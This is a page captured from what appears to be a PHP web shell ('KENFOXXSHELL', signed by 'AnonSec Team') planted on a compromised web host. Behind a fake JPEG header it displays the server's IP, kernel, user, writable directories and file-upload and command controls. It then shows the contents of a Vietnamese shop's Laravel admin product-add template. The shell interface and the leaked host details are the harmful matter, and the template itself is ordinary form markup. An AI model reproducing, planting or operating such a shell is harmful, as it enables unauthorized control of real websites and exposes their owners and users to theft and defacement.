ÿØÿàJFIFHHÿÛC     ÿÛC  ÿÂ"ÿÄÿÄÿÚ ±5¬€ÿÄàÿÚÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÄàÿÚ?!ÿÚ ÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÙ Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/domains/bellizeno.com/public_html/vaoday/resources/views/admin/product/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/domains/bellizeno.com/public_html/vaoday/resources/views/admin/product/add.blade.php
@extends('admin.master')



@section('content')



@section('controller','Product')



@section('action','Add')



<!-- Content Header (Page header) -->



<section class="content-header">



  <h1>



   	@yield('controller')



    <small>@yield('action')</small>



  </h1>



  <ol class="breadcrumb">



    <li><a href="admin"><i class="fa fa-dashboard"></i> Home</a></li>



    <li><a href="javascript:">@yield('controller')</a></li>



    <li class="active">@yield('action')</li>



  </ol>



</section>



<!-- Main content -->



<section class="content">



  



    <div class="box">



    	@include('admin.messages_error')



        <div class="box-body">



        	



        	<form name="frmAdd" method="post" action="{!! route('admin.product.postAdd') !!}" enctype="multipart/form-data">



        		<input type="hidden" name="_token" value="{!! csrf_token() !!}" />



	      		<input type="hidden" name="txtType" value="<?php if(@$_GET['type']=='combo' || @$_GET['type']=='sanpham'){ echo @$_GET['type'];}?>" />



      			<div class="nav-tabs-custom">



	                <ul class="nav nav-tabs">



	                  	<li class="active"><a href="#tab_1" data-toggle="tab" aria-expanded="false">Thông tin chung</a></li>



                        <?php if(@$_GET['type']!='combo' && @$_GET['type']!='sanpham'){?>



                            <li><a href="#tab_5" data-toggle="tab" aria-expanded="true">Thông số mô tả dưới</a></li>



                        <?php } ?>

                       	<li><a href="#tab_3" data-toggle="tab" aria-expanded="true">SEO</a></li>



	                </ul>



	                <div class="tab-content">



	                  	<div class="tab-pane active" id="tab_1">



	                  		<div class="row">



		                  		<div class="col-md-6 col-xs-12">



			                    	@if (count($errors) > 0)



						        		<div class="form-group has-error">



						        			@foreach ($errors->all() as $error)



						        			<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $error !!}</label><br>



						        			@endforeach



						        		</div>



						        	@endif



                                    



                          



									<div class="form-group col-md-12">



									       <img id="output" style="width: 150px;"/>



                                         <input class="max-with" name="fImages" type="file"  onchange="loadFile(event)"/>



									</div>



                                  



									<div class="clearfix"></div>



                                    



                                     <?php if(@$_GET['type']!='combo' && @$_GET['type']!=''){?>

                                         <?php if(@$_GET['type']!=''){?>

        									<div class="form-group">

    

        								      	<label for="ten">Danh mục</label>

    

        								      	<select name="txtProductCate" class="form-control">

    

        

    

        								      		<option value="0">Chá»n danh mục</option>

    

        								      		<?php cate_parent($parent,0,"--",0) ?>

    

        								      	</select>

    

        									</div>

                                         <?php } ?>   

                                      



                                        <?php if(@$_GET['type']!='sanpham'){?>



                                        <div class="form-group hidden">



    								      	<label for="ten">Bán thêm đồ thêu</label>



    								      	<select name="cate_embroi" class="form-control">



                                                <option value="0">Chá»n bán thêm mẫu</option>



                                                <?php 



                                                    $embloi=DB::table("embroidery_cates")->select()->get();



                                                    foreach($embloi as $row){



                                                ?>



                                            	<option value="<?php echo $row->id?>"> {{ $row->name }}</option>



    								      	    <?php } ?> 



    								      	</select>



    									</div>



                                        <?php } ?>



                                       



                                      



                                    <?php } ?>

                                   

							    	<div class="form-group @if ($errors->first('txtName')!='') has-error @endif">



								      	<label for="ten">Tiêu Ä‘á»(Tiếng việt)</label>



								      	<input type="text" id="txtName" name="txtName" value=""  class="form-control" />



								      	@if ($errors->first('txtName')!='')



								      	<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('txtName'); !!}</label>



								      	@endif



									</div>



                                    <div class="form-group @if ($errors->first('txtName_eg')!='') has-error @endif">



								      	<label for="ten">Tiêu Ä‘á»(English)</label>



								      	<input type="text" id="txtName_eg" name="txtName_eg" value=""  class="form-control" />



								      	@if ($errors->first('txtName_eg')!='')



								      	<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('txtName_eg'); !!}</label>



								      	@endif



									</div>



									<div class="form-group @if ($errors->first('txtAlias')!='') has-error @endif">



								      	<label for="alias">ÄÆ°á»ng dẫn tÄ©nh</label>



								      	<input type="text" name="txtAlias" id="txtAlias" value=""  class="form-control" />



								      	@if ($errors->first('txtAlias')!='')



								      	<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('txtAlias'); !!}</label>



								      	@endif



									</div>



                                     <?php if(@$_GET['type']!='combo' && @$_GET['type']!='sanpham'){?>



                                        <div class="form-group">



    								      	<label for="ten">Giảm giá(%)</label>



    								      	<input type="number" name="sale" value=""  class="form-control" />



    									</div>



                                     <?php } ?>  



								</div>



								<div class="col-md-6 col-xs-12">







									  <?php if(@$_GET['type']=='combo' || @$_GET['type']=='sanpham'){?>



                                      <div class="form-group">



                                          <label for="">Màu sắc</label>



                                         <div class="clearfix"></div>



                                                 <?php 



                                                 $color = DB::table("colors")->select()->get();



                                            



                                                foreach($color as $rows){  



                                                ?>  



                                                <div class="col-xs-1">



                                                     <label style="font-weight: 400;cursor: pointer;text-align: center;"><input type="checkbox" name="color_id[]" value="{{ $rows->id }}"  /> <img style="width: 100%;" src="{{ asset('upload/color/'.$rows->images) }}" /></label>



                                                </div>



                                                 <?php } ?>



                                           <div class="clearfix"></div>



                                        </div>



                                         <?php if(@$_GET['type']!='sanpham'){?>



                                        <div class="form-group">



    								      	<label for="ten">Danh mục cha</label>



    								      	<select name="combo_id" class="form-control">



    



    								      		<option value="0">Chá»n danh</option>



    								      		<?php $combo = DB::table("combos")->select()->get();



                                                foreach($combo as $rows){  



                                                ?>      



                                                 <option value="{{ $rows->id }}">{{ $rows->name }}</option>



                                                <?php } ?>   



    								      	</select>



    									</div>



                                    <?php }} ?>



							        <div class="form-group">



								      	<label for="desc">Mô tả(Tiếng việt)</label>



								      	<textarea name="txtMota" rows="5" class="form-control"></textarea>



									</div>



                                    <div class="form-group">



								      	<label for="desc">Mô tả(English)</label>



								      	<textarea name="txtMota_eg" rows="5" class="form-control"></textarea>



									</div> 



									<div class="form-group">



								      	<label for="desc">Nội dung(Tiếng việt)</label>



								      	<textarea name="txtContent" rows="5" class="form-control"></textarea>



									</div>



                                    <div class="form-group">



								      	<label for="desc">Ná»™i dung(English)</label>



								      	<textarea name="txtContent_eg" rows="5" class="form-control"></textarea>



									</div>



							        <!-------------  add nhiá»u ảnh ----------->



                                   <?php if(@$_GET['type']!='combo' || @$_GET['type']!='sanpham'){?>



                                   



                                   



                                    <div class="form-group hidden">



                                      <label for="">Thêm nhiá»u hình ảnh</label>



                                     



                                      <div id="a">



                                       <div class="con">



                                            <input id="Text1" name="detailImg[]" class="images-add" name="fImages2" type="file" />



                                            <input id="bnt-images-add" type="button" class="btnRemove" id="btn-Remove" value="Xóa"/>



                                         </div>



                                      </div>



                                    



                                      <input id="btnAdd"  class="add-properties" type="button" value=" Thêm " />



                            



                                     </div>



                                    <?php } ?> 



                                    <!------------- end add nhieu images ----->



								</div>



								



							</div>



	                  	</div><!-- /.tab-pane -->



	                  	<div class="clearfix"></div>



	                  	<!-- /.tab-pane -->



	                    <?php if(@$_GET['type']!='combo' || @$_GET['type']!='sanpham'){?>



                            <div class="tab-pane" id="tab_5">



                            	<div class="row">



		                          	<div class="col-md-4 col-xs-12">



                                        <div class="form-group">



    								      	<label for="desc">Material(Tiếng việt)</label>



    								      	<textarea name="mota2" rows="5" class="form-control"></textarea>



    									</div>



                                        <div class="form-group">



    								      	<label for="desc">Material(English)</label>



    								      	<textarea name="mota2_eg" rows="5" class="form-control"></textarea>



    									</div>



                                    </div>



                                    <div class="col-md-4 col-xs-12">



                                        <div class="form-group">



    								      	<label for="desc">Why We Love This(Tiếng việt)</label>



    								      	<textarea name="mota3" rows="5" class="form-control"></textarea>



    									</div>



                                        <div class="form-group">



    								      	<label for="desc">Why We Love This(English)</label>



    								      	<textarea name="mota3_eg" rows="5" class="form-control"></textarea>



    									</div>



                                    </div>



                                    <div class="col-md-4 col-xs-12">



                                        <div class="form-group">



    								      	<label for="desc">Try Us For 60 Nights Risk Free(Tiếng việt)</label>



    								      	<textarea name="mota4" rows="5" class="form-control"></textarea>



    									</div>



                                        <div class="form-group">



    								      	<label for="desc">Try Us For 60 Nights Risk Free(English)</label>



    								      	<textarea name="mota4_eg" rows="5" class="form-control"></textarea>



    									</div>



                                    </div>



                                 </div>   



                            



                            </div>



                          <?php } ?> 

                        

	                	<div class="tab-pane" id="tab_3">







	                  		<div class="row">



		                    	<div class="col-md-6 col-xs-12">



		                    		



                                    <!------------------------>



                                    <div class="form-group">



								      	<label for="title">Title Seo(Tiếng việt)</label>



								      	<input type="text" name="txtTitle" class="form-control" />



									</div>



                                    



		                    		<div class="form-group">



								      	<label for="keyword">Meta Keyword(Tiếng việt)</label>



								      	<textarea name="txtKeyword" rows="5" class="form-control"></textarea>



									</div>



                                    



									<div class="form-group">



								      	<label for="description">Meta Description(Tiếng việt)</label>



								      	<textarea name="txtDescription" rows="5" class="form-control"></textarea>



									</div>



                                    



                                    <!------------------------>



		                    	</div>



                                <div class="col-md-6 col-xs-12">



                                    <div class="form-group">



								      	<label for="title">Title Seo(English)</label>



								      	<input type="text" name="txtTitle_eg" class="form-control" />



									</div>



                                    <div class="form-group">



								      	<label for="keyword">Meta Keyword(English)</label>



								      	<textarea name="txtKeyword_eg" rows="5" class="form-control"></textarea>



									</div>



                                    <div class="form-group">



								      	<label for="description">Meta Description(English)</label>



								      	<textarea name="txtDescription_eg" rows="5" class="form-control"></textarea>



									</div>



                                </div>



	                    	</div>



                            



	                    	<div class="clearfix"></div>



	                	</div><!-- /.tab-pane -->



	                </div><!-- /.tab-content -->



	            </div>



	            <div class="clearfix"></div>



			    <div class="col-md-6">



			    	<div class="form-group" style="display: none;">



					      <label for="ten">Số thứ tự</label>



					      <input type="number" min="1" name="stt" value="{!! count($data)+1 !!}" class="form-control" style="width: 100px;">



				    </div>



				    



				    <div class="form-group">



					    <label>



				        	<input type="checkbox" name="status" checked="checked"> Hiển thị



				    	</label>



				    </div>



				    <!-- <div class="form-group">



					    <label>



				        	<input type="checkbox" name="tinhtrang" checked="checked"> Tình trạng



				    	</label>



				    </div> -->



                    <?php if(@$_GET['type']!='combo' && @$_GET['type']!='sanpham'){?>



			    	<div class="form-group">



					    <label>



				        	<input type="checkbox" name="noibat"> Nổi bật



				    	</label>



				    </div>



                    <?php } ?>



				    <!-- <div class="form-group">



					    <label>



				        	<input type="checkbox" name="spbc"> Bán chạy



				    	</label>



				    </div> -->



			    </div>



			    <div class="clearfix"></div>



			    <div class="box-footer">



			    	<div class="row">



						<div class="col-md-6">



					    	<button type="submit" class="btn btn-primary">Lưu</button>



					    	<button type="button" onclick="javascript:window.location='admin/product'" class="btn btn-danger">Thoát</button>



				    	</div>



			    	</div>



			  	</div>



		    </form>



        </div><!-- /.box-body -->



    </div><!-- /.box -->



    



</section><!-- /.content -->



<script type="text/javascript">



 $(document).ready(function() {



      $("#btnAdd").click(function() {



        $("#a").append('<div class="con"><input id="Text1" name="detailImg[]" class="images-add" name="fImages2" type="file" />' + '<input id="bnt-images-add" type="button" class="btnRemove" value="Xóa"/></div>');



      });



      $('body').on('click','.btnRemove',function() {



        $(this).parent('div.con').remove()



    



      });



    });



</script>



@endsection()




Anon7 - 2022
AnonSec Team